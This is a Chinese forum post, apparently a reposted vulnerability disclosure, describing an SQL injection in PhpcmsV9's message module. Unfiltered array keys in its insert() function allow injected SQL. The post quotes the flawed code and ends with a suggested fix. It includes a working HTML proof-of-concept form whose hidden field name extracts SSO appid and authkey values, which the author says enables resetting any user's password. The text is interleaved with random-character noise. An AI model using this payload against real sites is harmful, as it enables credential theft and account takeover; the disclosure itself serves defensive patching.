找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2221|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
. h7 w# m( f9 {0 P
1 `: h: @  s5 m. [& C) _8 v1 H( T第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
( ?4 z. s8 B1 i* D' X% o, K  C4 d0 Z6 B1 z% d: w
明天再更新下一个漏洞。  b* k- U8 c+ t+ }
详细说明:7 p: s& u" D( a) l: C
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
7 T9 V. ^* [7 E$ l8 m; J
- t+ @9 c5 M$ H4 `0 r& U8 R$messageid = $this->message_db->insert($_POST['info'],true);4 X3 I9 R. h, d5 r" n$ a" ^* d: y/ a
% h' N# m( T2 J' K) _2 n

* Q4 }' j! B7 E$ e$ V7 uinsert方法是key value的,代码如下:5 O! K" S7 R3 W: ~
2 u4 p2 c( R) ?' H' Q* A
public function insert($data, $table, $return_insert_id = false, $replace = false) {
' ~; U2 v2 ~. q, R" u6 i                if(!is_array( $data ) || $table == '' || count($data) == 0) {
4 c' m# d  {0 Z; Y! E# V  y% Z( d                        return false;2 \# ?. W5 f- m3 r$ S/ t3 E) Q
                }
, S7 y5 v6 Z- Y" C, Q               
3 ?: t2 E& O$ u0 Q" d# o                $fielddata = array_keys($data);
+ J( m. H6 m, u: ~: @                $valuedata = array_values($data);
, w& l* F5 u- n  T; b                array_walk($fielddata, array($this, 'add_special_char'));' C/ p# l, o6 R' Q- S) `& j
                array_walk($valuedata, array($this, 'escape_string'));
/ z( a" s3 s1 Q  g1 v: e8 Q               
3 T6 @8 a% R: w% V                $field = implode (',', $fielddata);
% {+ C/ Y: u5 c                $value = implode (',', $valuedata);
7 K& A0 V8 |5 a) b. k! f" w$ r, _: p+ |* u- Z% w
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
, w+ r4 o& j+ ?, u                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';0 ]: n2 ?2 Q- |9 Q4 g& t
                $return = $this->execute($sql);7 N! d0 z4 j( |
                return $return_insert_id ? $this->insert_id() : $return;
: r5 N) R! C, p1 u        }
# e6 M# W& x4 I8 `1 z( W+ @9 V2 y8 a. I
6 K2 {3 S7 q% ]  i
嗯,很遗憾的是
9 O1 }+ k. K' h2 w- t% ]8 F
' x& S# E3 ~: P1 g& U# marray_walk($fielddata, array($this, 'add_special_char'));5 f% N3 m) R0 b& Z4 z

# H8 k# O, m! E! D" {: T/ v# t& v. K) Z% D: x6 Y0 o
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
9 `6 A8 f& [* A, O+ s, u& w8 N5 G5 z- _+ v8 c, h* O
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
+ z* F, x! D2 Y: I. \/ n# g/ `7 m, ~& J6 y. j, J" ~" z- M
漏洞证明:
5 \" Q, l6 ]9 P. ?/ y' X2 s读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。9 X- N( \, r( [' H6 V* u

* P  N5 F" b& R, I! c  r( \  E; a; ^
表单如下:用户名什么的得自己改一改。% o* s. ~  L. }; H* E
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 b  [* e. y% V3 z& x$ y( Y& h' I
<table width="100%" cellspacing="0" class="table_form">
* A/ U* P- d/ z0 v5 p, E# Z<tr>
+ e- B- l  V# b% T<th>标 题:</th>* }+ c+ u! S" t
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
. [/ Q% F/ X  ~% p) @$ F</tr> ! G# s; S& d3 D
<tr>
& U4 I7 z) X$ O$ }- n6 |2 B) e# g<th>内 容:</th>/ T3 S( H9 ]2 Z2 t  T3 S' ]/ n
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
7 O' Y) o; n; e7 _" S. o</tr>* P4 E# x+ b0 h
<input type="hidden" name="info[replyid]" value="2" /> 7 G& _; }" S' A6 W5 h: a
<input type="hidden" name="info[send_to_id]" value="cc" /> ' a; b6 g, d2 s- E
<input type="hidden" name="info[send_from_id]" value="hh">7 Y7 r$ ]7 i5 y- E1 a3 k# W
<!-- 漏洞的利用重点在这里开始 -->, Q- g- H5 ^0 e$ ?6 ?5 D4 H% G8 Y' B
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ' u. r$ o4 _8 Z) E- K" Y9 @. m- ]
<!-- 漏洞的利用重点在这里结束 -->! m, i6 B7 q  }$ k) d
<tr>
# f  m1 k0 B0 U9 a# w  h) d<th>验证码:</th>2 c$ Z3 W4 s$ x# P% Z
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>" l. N3 X$ H! @9 }4 w
</tr>; \- h! h' ]% h' ]. l7 ^; K! }! e7 k! }
<tr>9 |0 @" u+ J. M6 s. G% u
<td></td>
( M7 F, K: f( |- j# G* e<td colspan="2"><label>2 _& q9 W+ ~; Q7 A7 A1 M
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>) n+ e& e- t1 L0 P* N
</label></td>
( o; A2 T# l3 j9 L3 s; j$ ~</tr>1 i! |  Y' Z( P0 o  `0 p, h9 I
</table>
- E6 F4 ]! A. T3 E* E</form>
$ h1 P4 y( Y4 f# I0 a在add_special_char函数内对key做过滤就可以了。
0 V3 e* {+ x% L% b
# [/ G/ r$ a: F& O3 ]/ o  R/ Y' k" G

! a4 t3 |5 }3 s% A5 V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表